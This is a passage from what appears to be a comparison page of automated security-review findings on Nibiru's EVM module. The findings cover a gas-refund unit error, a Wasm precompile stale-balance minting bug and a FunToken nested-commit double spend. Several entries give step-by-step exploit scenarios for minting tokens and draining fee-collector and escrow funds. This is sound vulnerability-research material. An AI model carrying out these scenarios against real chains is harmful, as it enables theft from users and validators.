AnteDecEthGasConsumecallsVerifyFee, which chargesWeiToNative(EffectiveFeeWei)micronibi (app/evmante/evmante_gas_consume.go:103-110, x/evm/keeper/gas_fees.go:188-195).2.
ApplyEvmTxcomputesrefundGas = msg.Gas() - gasUsedand callsRefundGas(x/evm/keeper/msg_server.go:109-116).3.
RefundGasmultipliesleftoverGasbymsg.GasPrice()(wei per gas) and buildssdk.NewCoin(denom, remaining)in the EVM denom without converting wei to micronibi (x/evm/keeper/gas_fees.go:47-56).4. The coin is sent from the fee collector to the sender (x/evm/keeper/gas_fees.go:60); the amount is 10^12 times what the sender was charged per gas.
5. The existing tests fund the fee collector with 1,000,000 micronibi to make a 1-wei gas price transaction pass, which shows the mismatch (x/evm/keeper/msg_ethereum_tx_test.go:35-43).
- Exploit scenario
-
Not specified.
- Recommendation
-
Convert the refund to the native unit: compute
leftoverWei = leftoverGas * weiPerGasand refundevm.WeiToNative(leftoverWei)micronibi (matchingVerifyFee). Also cap the refund at the fee actually collected for the message. Verify with a test using a realistic gas price of 10^12 wei per gas: the sender's balance after the tx must equal start minusgasUsedmicronibi, and the fee collector must not be drained.
Claude Security (Sonnet 5.5)
RefundGas credits leftover gas at the raw wei gas price as unibi (10^12x unit error) from the fee collector
x/evm/keeper/gas_fees.go:48Predicted severity: High- Root cause
-
Vulnerable symbol: Keeper.RefundGas
Preconditions: Any account able to send an EVM tx; For large payouts, tx inclusion in the epoch-end block (epoch start times are deterministic)
Offending code:
remaining := new(big.Int).Mul(new(big.Int).SetUint64(leftoverGas), msg.GasPrice())
- Impact
-
Theft of fee-collector funds (all fees accumulated earlier in the block, and the daily staking inflation at epoch boundaries) from stakers and validators. Honest users who set a gas price above 1 wei (for example 1 gwei) see their txs with leftover gas fail with a refund error after fees are already paid.
- Description
-
The ante handler charges max(gasPrice, 1e12 wei) per gas converted to unibi (VerifyFee/WeiToNative), but RefundGas multiplies leftover gas by msg.GasPrice() in wei and pays that number directly as unibi from the fee collector module account. The two paths use different units and different effective prices.
- Exploit scenario
-
Attacker sends a DynamicFeeTx (or legacy tx) with gasLimit 100000, feeCap >= tip+1e12, and tip = P wei where P is chosen so that 50000*P unibi is just below the fee collector balance. The ante charges about 100000 unibi (gas*1 unibi) but RefundGas pays 50000*P unibi. At the daily epoch-end block the x/inflation hook has just moved the staking-reward allocation into the fee collector (distribution BeginBlocker already ran earlier in that block, see app/keepers.go orderedModuleNames), so the whole allocation is available. A ladder of txs with decreasing P in that block captures most of it; in ordinary blocks the attacker takes all fees collected before their tx.
- Recommendation
-
Convert the refund to native units and use the same effective price as the ante charge: refund = leftoverGas * WeiToNative(max(msg.GasPrice(), NativeToWei(baseFee))) (or better, record the charged amount and refund pro rata). Add a test that charge minus refund equals gasUsed*price for prices other than 1 wei.
Claude Security (Opus 5.5)
Gas refund pays leftoverGas x gasPrice(wei) as unibi while the ante handler charges in unibi via wei->native conversion: free txs and fee-collector theft
x/evm/keeper/gas_fees.go:48Predicted severity: High- Root cause
-
Vulnerable symbol: Keeper.RefundGas
Preconditions: Fee collector holds fees from earlier txs in the block
Offending code:
remaining := new(big.Int).Mul(new(big.Int).SetUint64(leftoverGas), msg.GasPrice())
- Impact
-
Any user can steal the per-block transaction fees owed to validators and delegators and pay nothing for EVM execution. Honest txs priced in real wei fail.
- Description
-
The EVM ante handler charges WeiToNative(gasLimit * max(P_wei, 1e12)) unibi. That is gasLimit unibi for any P below 1e12. ApplyEvmTx then refunds leftoverGas * msg.GasPrice() from the fee collector, where msg.GasPrice() is the user-chosen wei price P, but the product is paid out as unibi with no unit conversion.
- Exploit scenario
-
The attacker sends a legacy EVM tx with gasLimit 1,000,000 and gasPrice P = 1000 wei. P passes the ante check P >= 1. The ante charges 1,000,000 unibi. Execution uses 21k gas, and the 50% min-gas multiplier sets gasUsed to 500k, so leftover is 500k. RefundGas sends 500k*1000 = 5e8 unibi from the fee collector, for a net profit of about 499 NIBI. P is tuned so the refund stays below the fee collector's balance (all fees collected earlier in the block). With P = 2 every transaction is free. Honest wallets that sign with realistic wei prices (for example 1 gwei) hit refunds the fee collector cannot cover, so their txs fail after paying fees.
- Recommendation
-
Compute the refund in the same units and with the same effective price as the fee deduction: refund = WeiToNative(leftoverGas * effectiveGasPriceWei), where effectiveGasPriceWei = max(msg.GasPrice(), NativeToWei(baseFee)). Also pass the base fee to AsMessage and CanTransfer in wei.
Vercel Security Review
Wei-denominated gas refunds are paid as unibi from pooled fees
x/evm/keeper/gas_fees.go:188Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. The new fee path charges native units** -
x/evm/keeper/gas_fees.go:188-189```go title="x/evm/keeper/gas_fees.go:188-189"
baseFeeWei := evm.NativeToWei(baseFeeMicronibi)
feeAmtMicronibi := evm.WeiToNative(txData.EffectiveFeeWei(baseFeeWei))
```
**2. Unused gas produces a wei-denominated refund instead** -
x/evm/keeper/gas_fees.go:48```go title="x/evm/keeper/gas_fees.go:48"
remaining := new(big.Int).Mul(new(big.Int).SetUint64(leftoverGas), msg.GasPrice())
```
**3. The sender receives that amount from pooled native fees** -
x/evm/keeper/gas_fees.go:60```go title="x/evm/keeper/gas_fees.go:60"
err := k.bankKeeper.SendCoinsFromModuleToAccount(ctx, authtypes.FeeCollectorName, msg.From().Bytes(), refundedCoins)
```
Line 56 wraps
remainingdirectly as native coins, without dividing by 10^12 or bounding it by the debit. A funded signer can select gas limits and prices yielding an affordable refund exceeding their payment, stealing other users' collected fees. Refunds exceeding the pool instead fail otherwise-valid transactions. - Exploit scenario
-
Not specified.
- Recommendation
-
Calculate debits and refunds using the same effective gas price and denomination. Convert the total wei refund to native units with consistent rounding, and ensure no refund can exceed the native fee actually debited for that message. Add end-to-end legacy and EIP-1559 fee/refund conservation tests.
-
Dirty EVM journal entries are not applied to Cosmos state in precompiles, enabling infinite unibi minting nibiru-3 · 7 writeups Critical
V12
Stale cross-VM balances restore spent native funds
x/evm/precompile/wasm.go:155Predicted severity: High- Root cause
-
The SDK bank and EVM account cache are treated as independently mutable balances during the same execution.
SetAccBalance()uses mint/burn reconciliation against stale cached balances after native keeper calls. - Impact
-
Inference: a funded caller can repeatedly supply native coins to a Wasm recipient while having its debit restored by native minting at EVM commit, creating unbacked spendable value. Conversely, native receipts into a dirty EVM account can be burned when the stale lower balance is committed; the exact end-to-end transfer behavior must be verified against the unavailable Wasmd keeper implementation.
- Description
-
The Wasm gateways mutate bank state using the SDK context but do not reconcile those changes with cached EVM account balances.
StateDB.getStateObject()retains an account once loaded, andCommit()later writes each dirty account's cached balance back throughSetAccount(). That setter callsSetAccBalance(), which mints or burns native coins to force the bank balance to the cached amount. A caller can combine EVM value movement, which dirties its EVM balance, with a successful Wasm invocation that spends native-denomfundsfrom the same account. Inference: the commit then restores the spent funds from the stale EVM balance rather than preserving the bank-side debit. This affects u2 and u4 execution and u3 instantiation independently of whether any call reverts.
Codex Security (GPT-6 Sol)
Wasm precompile can duplicate native coins through stale EVM balance reconciliation
x/evm/precompile/wasm.go:160Predicted severity: High- Root cause
-
Wasm keeper spends native funds, then stale EVM StateDB account balance is committed via SetAccBalance, potentially minting the delta.
- Impact
-
A successful EVM call that spends native coins through Wasm can restore the caller's spent balance when the stale EVM account is committed, minting replacement coins. Transaction-level cache discards failed outer transactions; issue requires successful outer transaction and dirty EVM account.
- Description
-
A successful EVM call that spends native coins through Wasm can restore the caller's spent balance when the stale EVM account is committed, minting replacement coins.
- Exploit scenario
-
Wasm keeper spends native funds, then stale EVM StateDB account balance is committed via SetAccBalance, potentially minting the delta.
- Recommendation
-
Reconcile native balances with EVM account changes in one transactional state layer; never overwrite bank balance from a stale cached EVM balance.
Devin Security
Wasm precompile funds are paid from bank state, then the EVM commit restores the caller's cached NIBI balance
x/evm/precompile/wasm.go:92Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone with an EVM account can send NIBI into Wasm contracts through the precompile and have the same NIBI put back in their account at the end of the transaction, which creates unlimited NIBI.
##### What's wrong
This is a state desynchronization double spend. The Wasm precompile moves
fundswith the bank module on the raw context, but the EVM StateDB has already cached the caller's NIBI balance. When the transaction commits, the StateDB sets the bank balance back to that cached value by minting the difference.##### Who can do it
Mallory has a funded EVM account. She sends an Ethereum transaction that calls the Wasm precompile's
execute,instantiate, orexecuteMulti, with funds inunibisent to a Wasm contract she controls.- Mallory can send an Ethereum transaction.
- The funds include the EVM base denom (
unibi).##### What they get
The bank module moves Mallory's NIBI into her Wasm contract. At commit, the EVM writes her old balance back by minting new NIBI. She withdraws the contract balance and repeats. She can mint unlimited NIBI, which dilutes every holder and lets her drain pools and markets on the chain.
##### How it works
1.
Runtakes the raw context from the StateDB (wasm.go:97).2.
execute,instantiate, andexecuteMultipass caller funds to the Wasm keeper (wasm.go:161, 252-253, 307-314), which uses bank transfers on that context.3. The caller's account object is already loaded in the StateDB and marked dirty, because
ApplyEvmMsgsets the nonce (x/evm/keeper/msg_server.go:356).4.
StateDB.CommitcallsSetAccount, andSetAccountcallsSetAccBalancewith the cached balance (x/evm/keeper/statedb.go:104-131).5.
SetAccBalancemints the difference between the cached balance and the real bank balance (x/evm/keeper/statedb.go:69-85). This undoes the payment and creates new NIBI. - Exploit scenario
-
Not specified.
- Recommendation
-
Before a precompile that touches bank or Wasm state runs, commit the StateDB's dirty state to a cached context. After the call, reload the cached balances of every account the precompile touched, or journal the precompile's changes so the StateDB stays consistent. To check the fix, add a test where an EOA calls Wasm.execute with 1000 unibi in funds. After the transaction, the EOA's balance must be lower by 1000 plus gas, and the total unibi supply must not change.
Devin Security (Deep)
FunToken precompile runs a nested EVM call that commits beneath the live StateDB, letting the outer commit undo the ERC20 debit (token duplication / escrow drain)
x/evm/keeper/msg_server.go:279Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can send an EVM transaction on the chain can duplicate any ERC20 token that has a FunToken mapping and drain the native coins other users escrowed in the EVM module.
##### What's wrong
This is a state-consistency bug between nested EVM executions.
ApplyEvmMsgbuilds a freshStateDBstraight from the SDK context and, whencommitis true, writes its result directly into that context. The FunToken precompile (bankSend) calls this from inside a running transaction, so the inner call reads the on-disk store (not the outer transaction's pending changes) and writes to the store underneath the outerStateDB. When the outer transaction later commits, it writes its own cached storage slots back and silently overwrites what the inner call wrote.##### Who can do it
Alice, a Nibiru user at Acme, converted 10,000 TOKEN (an ERC20 that has a FunToken mapping) into bank coins, so the EVM module account now holds 10,000 TOKEN in escrow. Mallory, an attacker with a funded EVM account, deploys a small contract and calls it once.
- Mallory needs an EVM account with gas and a balance of the target ERC20 (any amount).
- The ERC20 needs a FunToken mapping. Anyone can create one with
MsgCreateFunTokenby paying the fee, so this is not a barrier.- No special permissions, roles, or governance actions are needed.
##### What they get
Mallory's contract first transfers 1 TOKEN to a second address she controls. This marks her TOKEN balance slot as dirty in the outer
StateDB. It then calls the FunToken precompilebankSend(TOKEN, 99, mallory_nibi_addr). The precompile performs the ERC20 transfer in a separate inner EVM run that reads the store (where Mallory still has 100) and commits her balance as 1 and the module's as 99, then mints 99 bank coins to her. When the outer transaction commits, it writes Mallory's cached slot (99) back over the inner result. Mallory ends with 99 TOKEN and 99 bank coins, and the module holds 99 escrowed TOKEN. She redeems the bank coins withMsgConvertCoinToEvmand now has 198 TOKEN from 100. Repeating this doubles her holdings every transaction. If the FunToken was created from a bank coin (for example the native gas coin),bankSendpays her from the module's escrow of coins other users deposited, so she drains Alice's and everyone else's escrowed funds directly. This works for every ERC20 on the chain, including bridged stablecoins.##### How it works
1. Mallory's contract calls
TOKEN.transfer(addr2, 1)inside the outer EVM run;stateObject.SetStaterecords her balance slot as dirty in the outerStateDB(x/evm/statedb/state_object.go:276-294).2. Her contract calls the FunToken precompile;
bankSendpulls the SDK context from the outerStateDBand callsERC20().Transfer(TOKEN, caller, module, 99, ctx)(x/evm/precompile/funtoken.go:73, 160-165).3.
CallContractWithInputrunsApplyEvmMsg(ctx, ..., commit=true), which builds a newStateDBfrom the same context and reads her balance as 100 from the store, ignoring the outer pending change (x/evm/keeper/erc20.go:167-229, x/evm/keeper/msg_server.go:291).4. The inner
stateDB.Commit()writes her slot as 1 and the module's slot as 99 into the context store (x/evm/keeper/msg_server.go:389-393, x/evm/statedb/statedb.go:452-479).5.
bankSendmints 99 bank coins (or burns module ERC20 and pays escrowed coins) and sends them to Mallory's Nibiru address (x/evm/precompile/funtoken.go:167-195).6. The outer run finishes and
ApplyEvmTxcommits the outerStateDB, which writes the cached dirty slot (99) over the inner value and leaves the module's 99 in place (x/evm/keeper/msg_server.go:66, 389-393; x/evm/statedb/statedb.go:468-475).7. Mallory redeems the bank coins through
ConvertCoinToEvm→convertCoinNativeERC20, which transfers 99 TOKEN from the module escrow to her (x/evm/keeper/msg_server.go:584-671). - Exploit scenario
-
Not specified.
- Recommendation
-
Do not run a second, independent StateDB for precompile side effects. Either execute precompile ERC20 interactions through the live outer
StateDB(for example by exposing a way to run a sub-call with the samevm.EVM/StateDBand journaling bank changes), or make the outer StateDB aware of nested commits: after a nested committing call, flush the outer StateDB's dirty objects first (commit-before-call) and reload affected state objects, or journal precompile actions and apply them only at the outer commit. At minimum, rejectbankSendwhen the outer StateDB has dirty state for the ERC20 contract. Verify with a test that: a contract transfers 1 token, then callsbankSendfor the rest in the same tx, and assert the caller's final ERC20 balance plus bank coins never exceeds the starting balance and that ERC20 total supply equals the sum of balances.
Claude Security (Sonnet 5.5)
Wasm precompile moves bank funds out-of-band from the EVM StateDB; StateDB.Commit then restores the stale balance by minting, duplicating native coins
x/evm/precompile/wasm.go:161Predicted severity: Critical- Root cause
-
Vulnerable symbol: precompileWasm.execute
Preconditions: Attacker can obtain a wasm contract from which funds are recoverable (default wasmd permissions allow anyone to upload and instantiate; otherwise an existing generic forwarding contract); Caller account must be dirty in the StateDB (trivially achieved by attaching >=1 unibi of value, or by any storage write in a calling contract)
Offending code:
data, err := p.Wasm.Execute(ctx, wasmContract, callerBech32, msgArgs, funds)
- Impact
-
Unbounded inflation of the native token supply by any user, so total loss of the chain's economic integrity; also silent burning of funds that wasm contracts send back to EVM accounts during the same tx.
- Description
-
The precompile mutates bank state directly on stateDB.GetContext() with caller-supplied
funds, while the running StateDB keeps its own cached account balances. When the EVM call ends, StateDB.Commit calls SetAccount -> SetAccBalance, which mints or burns so the bank balance equals the stale cached value, undoing the bank debit. - Exploit scenario
-
1) Attacker has account A with B unibi and a wasm contract W they can later withdraw from (instantiated from any permitted code id, for example through the instantiate precompile or a normal MsgInstantiateContract). 2) A sends an Ethereum tx to the Wasm precompile 0x...0802 with value = 1e12 wei (1 unibi; this journals a balanceChange so A becomes a dirty StateDB account with cached balance B-fee-1) and calldata execute(W, msg, [{denom:"unibi", amount:X}]) with X <= B. 3) wasm Execute calls bank TransferCoins(A -> W, X), so the bank balance of A drops to B-fee-X. 4) At the end of ApplyEvmMsg, StateDB.Commit sets A's balance to the cached B-fee-1, minting X-1 unibi to A through the evm module account. 5) A keeps its balance and W holds X new unibi. Repeating roughly doubles A's holdings per tx. The mirror case (coins received by a dirty account via the precompile) is burned/lost instead.
- Recommendation
-
Before invoking any state-mutating precompile, flush the StateDB journal into the ctx (or run the precompile on a cache ctx and commit/sync it to the StateDB), and after it returns drop/reload cached stateObjects so later reads see bank changes. Alternatively make StateDB.Commit write only deltas it actually made instead of forcing absolute balances, and add invariant checks on total supply in tests.
Claude Security (Opus 5.5)
FunToken precompile runs a nested EVM on stale KV state that the outer StateDB later overwrites, so ERC20 tokens can be double-spent and escrow drained
x/evm/precompile/funtoken.go:162Predicted severity: Critical- Root cause
-
Vulnerable symbol: precompileFunToken.bankSend
Preconditions: A FunToken mapping exists for the ERC20 (normal protocol state); Attacker holds some of the token and can deploy a contract
Offending code:
_, err = p.evmKeeper.ERC20().Transfer(erc20, caller, transferTo, amount, ctx)
- Impact
-
Any user can mint ERC20 balances out of nothing and drain the bank-coin or ERC20 escrow behind every FunToken mapping. Bridged assets become insolvent.
- Description
-
bankSend takes the outer StateDB's raw sdk.Context and calls ERC20().Transfer/Burn. That goes through CallContractWithInput -> ApplyEvmMsg, which builds a fresh StateDB on the same ctx and commits straight to KV. The nested call cannot see the outer StateDB's uncommitted dirty storage. When the outer tx commits, its cached slots overwrite whatever the nested call wrote. Also CWE-290: bankSend takes contract.CallerAddress, which can be any contract, and passes it as
fromto ERC20().Transfer. That function builds a new top-level geth Message from that address (erc20.go:192) and runs it with ApplyEvmMsg/NewEVM, which sets TxContext.Origin = msg.From() (msg_server.go:172). The nested execution therefore runs with tx.origin set to a contract address, which normal Ethereum semantics never allow. Also CWE-252: The ConvertCoinToEvm path rejects!resand verifies the exact balance delta. The precompile path to the same escrow discards Transfer's bool and mintsamountcoins whatever the EVM module actually received. - Exploit scenario
-
The attacker deploys contract C holding 100 units of a FunToken-mapped ERC20 T. In one tx C first calls T.transfer(X, 100) in the EVM, so the outer StateDB caches bal(C)=0 and bal(X)=100 as dirty while KV still says bal(C)=100. C then calls bankSend(T, 100, attackerNibiAddr) on precompile 0x...800. The nested EVM reads bal(C)=100 from KV and moves it to the EVM module. For a coin-backed mapping it then burns those tokens and sends 100 escrowed bank coins to the attacker. For an ERC20-backed mapping it mints 100 coins, which ConvertCoinToEvm later redeems against the module's escrow. At the end of the tx the outer StateDB writes bal(C)=0 and bal(X)=100. X keeps 100 T and the attacker also holds 100 bank coins. Repeating the loop drains the escrow of every mapping. The same staleness can be reached through wasm.execute when the wasm contract dispatches MsgConvertCoinToEvm, which also runs nested EVM calls on the shared ctx.
- Recommendation
-
Do not run nested EVM executions against the outer StateDB's context. Run precompile side effects on a cache context that is journaled in the StateDB, flush or commit the outer StateDB's dirty state before the nested call, or do the ERC20 movement inside the outer EVM (for example via the outer StateDB or a sub-call of the current EVM) instead of a separate ApplyEvmMsg. Also CWE-290: Do not start a new top-level EVM message from an arbitrary caller. Either perform the token debit inside the current EVM frame using the existing StateDB and EVM, keeping the outer tx.origin, or have the module account move the tokens (for example with transferFrom and an allowance). If a nested message is unavoidable, reject callers that have code, or set Origin to the outer transaction's origin. Also CWE-252: Require Transfer to return true, and mint or send coins only for the measured increase in the EVM module's ERC20 balance (balance after minus balance before), mirroring convertCoinNativeERC20.
Vercel Security Review
Wasm spending is overwritten by stale EVM balances, minting native tokens
x/evm/precompile/wasm.go:160Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. The new precompile spends bank funds outside the EVM balance cache** -
x/evm/precompile/wasm.go:160-161```go title="x/evm/precompile/wasm.go:160-161"
callerBech32 := eth.EthAddrToNibiruAddr(caller)
data, err := p.Wasm.Execute(ctx, wasmContract, callerBech32, msgArgs, funds)
```
An attacker funds their EVM contract, dirties its storage, then supplies unibi to their Wasm contract. The bank debit never updates its cached EVM balance.
**2. Successful execution writes the stale account balance back** -
x/evm/statedb/statedb.go:465-467```go title="x/evm/statedb/statedb.go:465-467"
if err := s.keeper.SetAccount(s.ctx, obj.Address(), obj.account.ToNative()); err != nil {
return errorf("failed to set account: %w")
}
```
**3. Restoring that balance mints replacement unibi** -
x/evm/keeper/statedb.go:78-81```go title="x/evm/keeper/statedb.go:78-81"
case 1:
// mint
coins := sdk.NewCoins(sdk.NewCoin(params.EvmDenom, sdkmath.NewIntFromBigInt(delta)))
if err := k.bankKeeper.MintCoins(ctx, evm.ModuleName, coins); err != nil {
```
SetAccountcallsSetAccBalanceat line 129; its positive delta restores the spent funds while the Wasm recipient retains them. Repetition creates unbacked native currency. - Exploit scenario
-
Not specified.
- Recommendation
-
Synchronize native bank balance changes with the active EVM StateDB. Before Wasm execution, make pending EVM balances visible consistently; journal and reconcile all native balance changes afterward so commit cannot restore stale balances. Do not fix this by merely suppressing balance writes, which would lose legitimate EVM transfers. Test SSTORE plus Wasm spending and subsequent EVM balance operations for supply conservation.
-
Precompile bankSend modifies Cosmos state which can be overwritten by outdated EVM state nibiru-4 · 7 writeups Critical
V12
Stale cross-VM balances restore spent native funds
x/evm/precompile/wasm.go:155Predicted severity: High- Root cause
-
The SDK bank and EVM account cache are treated as independently mutable balances during the same execution.
SetAccBalance()uses mint/burn reconciliation against stale cached balances after native keeper calls. - Impact
-
Inference: a funded caller can repeatedly supply native coins to a Wasm recipient while having its debit restored by native minting at EVM commit, creating unbacked spendable value. Conversely, native receipts into a dirty EVM account can be burned when the stale lower balance is committed; the exact end-to-end transfer behavior must be verified against the unavailable Wasmd keeper implementation.
- Description
-
The Wasm gateways mutate bank state using the SDK context but do not reconcile those changes with cached EVM account balances.
StateDB.getStateObject()retains an account once loaded, andCommit()later writes each dirty account's cached balance back throughSetAccount(). That setter callsSetAccBalance(), which mints or burns native coins to force the bank balance to the cached amount. A caller can combine EVM value movement, which dirties its EVM balance, with a successful Wasm invocation that spends native-denomfundsfrom the same account. Inference: the commit then restores the spent funds from the stale EVM balance rather than preserving the bank-side debit. This affects u2 and u4 execution and u3 instantiation independently of whether any call reverts.
Codex Security (GPT-6 Sol)
Wasm precompile can duplicate native coins through stale EVM balance reconciliation
x/evm/precompile/wasm.go:160Predicted severity: High- Root cause
-
Wasm keeper spends native funds, then stale EVM StateDB account balance is committed via SetAccBalance, potentially minting the delta.
- Impact
-
A successful EVM call that spends native coins through Wasm can restore the caller's spent balance when the stale EVM account is committed, minting replacement coins. Transaction-level cache discards failed outer transactions; issue requires successful outer transaction and dirty EVM account.
- Description
-
A successful EVM call that spends native coins through Wasm can restore the caller's spent balance when the stale EVM account is committed, minting replacement coins.
- Exploit scenario
-
Wasm keeper spends native funds, then stale EVM StateDB account balance is committed via SetAccBalance, potentially minting the delta.
- Recommendation
-
Reconcile native balances with EVM account changes in one transactional state layer; never overwrite bank balance from a stale cached EVM balance.
Devin Security
FunToken bankSend writes outside the EVM state cache, so a stale ERC20 balance is written back and tokens are spent twice
x/evm/precompile/funtoken.go:67Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone with an EVM account can turn their ERC20 tokens into bank coins and still keep the tokens, then convert the duplicate coins back to drain other users' escrowed tokens.
##### What's wrong
This is a state desynchronization double spend. The FunToken precompile moves ERC20 tokens through a separate inner EVM call that commits straight to the Cosmos context, but the outer EVM transaction keeps its own cached copy of the same ERC20 storage and writes that stale copy back at the end.
##### Who can do it
Alice and many other users have converted their bank coins or ERC20 tokens through a FunToken mapping, so the EVM module holds their escrow. Mallory, who has any funded EVM account, deploys a small contract and holds 100 units of a mapped ERC20 token.
- Mallory can send an Ethereum transaction (no special permissions).
- The ERC20 token has a FunToken mapping (any token can get one by paying the creation fee).
- The outer EVM call reads the ERC20 balance slot before calling
bankSend, so it is cached.##### What they get
Mallory's contract calls
balanceOfon the token, thenbankSendfor 100 units, thentransferof 100 units to a second address. The bank side gives her 100 coins, and the outer EVM still believes she has 100 tokens, so the transfer succeeds and overwrites the inner deduction. She repeats this and usesConvertCoinToEvmto pull real tokens out of the EVM module escrow. For coin-backed mappings,bankSendpays her out of escrowed native coins directly. She can drain every user's escrow for every mapped token.##### How it works
1.
Runtakes the raw transaction context from the StateDB withstateDB.GetContext()(funtoken.go:73) and passes it tobankSend.2.
bankSendcallsERC20().Transfer(funtoken.go:162), which runsCallContractWithInputwith commit=true and builds a new StateDB on the same context (x/evm/keeper/erc20.go:167-224), so the balance change is written to the store immediately.3.
bankSendthen mints or releases bank coins and sends them to the recipient on that same context (funtoken.go:168-195). None of this is recorded in the outer StateDB journal.4. The outer StateDB already cached the ERC20 balance slot in
originStorage(x/evm/statedb/state_object.go:258-266). A latertransferin the same transaction reads the stale value.5. At the end,
StateDB.Commitwrites the dirty slot with the stale-based value (x/evm/statedb/statedb.go:454-480), which undoes the inner deduction while the bank coins stay minted.6. If an inner call frame that invoked
bankSendreverts while the outer transaction succeeds, the bank and ERC20 changes also persist because they were never journaled. - Exploit scenario
-
Not specified.
- Recommendation
-
Make precompile side effects part of the StateDB. Before a precompile runs, flush the outer StateDB's dirty state to a cached context. Run the precompile on that cached context, record a journal entry so a revert discards it, and then reload or invalidate the affected cached state objects (ERC20 contract storage and account balances) after the call. Upstream Nibiru later added a precompile journal entry and a CacheCtx inside the StateDB for this reason. To check the fix, write an end-to-end test where one contract calls
balanceOf, thenbankSend, thentransferin a single transaction. Thetransfermust fail with insufficient balance. Add a second test wherebankSendruns in a call frame that reverts inside try/catch. Both the bank balance and the ERC20 balance must be unchanged.
Devin Security (Deep)
StateDB commit mints unibi to cover bank balance changes made by precompiles, enabling unlimited native token minting
x/evm/keeper/statedb.go:68Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone with a small EVM balance can mint unlimited unibi out of nothing by moving coins through the Wasm precompile inside one Ethereum transaction, because the EVM state commit restores the sender's cached balance by minting the difference.
##### What's wrong
This is a state desynchronization between the EVM's in-memory account cache and the bank module.
SetAccBalancereconciles an account by comparing the cached EVM balance to the live bank balance and minting or burning the difference. Precompiles run with the raw SDK context and move bank coins outside the EVM cache. When the transaction commits, the cache is stale, soSetAccBalancemints coins to put the balance back where the cache says it should be.##### Who can do it
Mallory has 1,000 NIBI in an EVM account on the public chain. She sends one Ethereum transaction to the Wasm precompile at
0x...0802, attaching 1 unibi of value and callingexecuteon any Wasm contract that accepts deposits (her own contract, or an existing exchange or escrow contract) withfundsset to 999 NIBI. Alice, Bob, and every other holder of NIBI at Acme Exchange and Globex Staking see their tokens diluted by the coins Mallory prints.- Mallory needs an EVM account with any unibi balance.
- A Wasm contract that can receive funds and later release value to Mallory must exist. She can deploy or instantiate one herself, or use any existing deposit or swap contract.
- No grant, permission, or privileged role is required.
##### What they get
After the transaction, the Wasm contract holds 999 NIBI and Mallory's EVM account has been topped back up to about 999 NIBI by newly minted coins. She withdraws or swaps the deposit and repeats, doubling her holdings each round with no upper bound. This inflates the native token supply without limit, lets her drain any pool or exchange priced in NIBI, and breaks the economic security of staking for the whole chain. The same stale-cache problem also affects the FunToken precompile, whose nested EVM call writes ERC20 storage directly to the store while the outer transaction may later overwrite those slots with cached values, allowing an ERC20 balance to be spent and kept at the same time.
##### How it works
1.
ApplyEvmMsgcreates a StateDB over the transaction context and hands the same context to the EVM (x/evm/keeper/msg_server.go:291-292).2. The sender's call to the precompile carries a non-zero value, so the EVM calls
SubBalanceon the sender, which loads the sender's current bank balance into the StateDB cache and marks it dirty (x/evm/statedb/state_object.go:163-169).3. The Wasm precompile fetches the raw SDK context from the StateDB and calls
Wasm.Execute(ctx, contract, caller, msg, funds), which transfersfundsfrom the sender's bank account to the Wasm contract immediately in the store (x/evm/precompile/wasm.go:92-101, 155-161).4. When the EVM finishes,
StateDB.Commitwrites each dirty account throughkeeper.SetAccountwith the cached balance (x/evm/statedb/statedb.go:454-467).5.
SetAccountcallsSetAccBalance, which reads the live bank balance (now lower byfunds), computes a positive delta, and mints that delta to the sender (x/evm/keeper/statedb.go:69-86, 129-131).6.
ApplyEvmTxcommits the cached context, so both the Wasm contract's deposit and the newly minted coins persist (x/evm/keeper/msg_server.go:104-107).7. A second variant: the FunToken precompile's
bankSendruns a nestedApplyEvmMsgwithcommit=trueon the same context (x/evm/precompile/funtoken.go:160-165, x/evm/keeper/erc20.go:216-219), writing ERC20 storage to the store while the outer StateDB still holds dirty copies of those slots, whichCommitlater writes back viaSetState(x/evm/statedb/statedb.go:468-475, x/evm/keeper/statedb.go:139-143). - Exploit scenario
-
Not specified.
- Recommendation
-
Make precompile side effects part of the StateDB journal. Give precompiles a cache-wrapped context created by the StateDB (for example
stateDB.CacheCtxForPrecompile()), record a journal entry whose revert discards that cache, and only write the cache to the real store atCommit. Before writing cached balances inCommit, re-read live bank balances and apply only the EVM-originated delta (or have the precompile cache ctx be the one the StateDB reads from), so bank changes made by precompiles are never undone bySetAccBalance. Apply the same treatment to nestedApplyEvmMsgcalls made from precompiles so they execute against the outer StateDB rather than a fresh one. Verify with a test that calls the Wasm precompileexecutewith non-zero value andfundsequal to most of the sender's balance, then asserts the total supply of unibi is unchanged and the sender's balance decreased by the funds plus value.
Claude Security (Sonnet 5.5)
Wasm precompile moves bank funds out-of-band from the EVM StateDB; StateDB.Commit then restores the stale balance by minting, duplicating native coins
x/evm/precompile/wasm.go:161Predicted severity: Critical- Root cause
-
Vulnerable symbol: precompileWasm.execute
Preconditions: Attacker can obtain a wasm contract from which funds are recoverable (default wasmd permissions allow anyone to upload and instantiate; otherwise an existing generic forwarding contract); Caller account must be dirty in the StateDB (trivially achieved by attaching >=1 unibi of value, or by any storage write in a calling contract)
Offending code:
data, err := p.Wasm.Execute(ctx, wasmContract, callerBech32, msgArgs, funds)
- Impact
-
Unbounded inflation of the native token supply by any user, so total loss of the chain's economic integrity; also silent burning of funds that wasm contracts send back to EVM accounts during the same tx.
- Description
-
The precompile mutates bank state directly on stateDB.GetContext() with caller-supplied
funds, while the running StateDB keeps its own cached account balances. When the EVM call ends, StateDB.Commit calls SetAccount -> SetAccBalance, which mints or burns so the bank balance equals the stale cached value, undoing the bank debit. - Exploit scenario
-
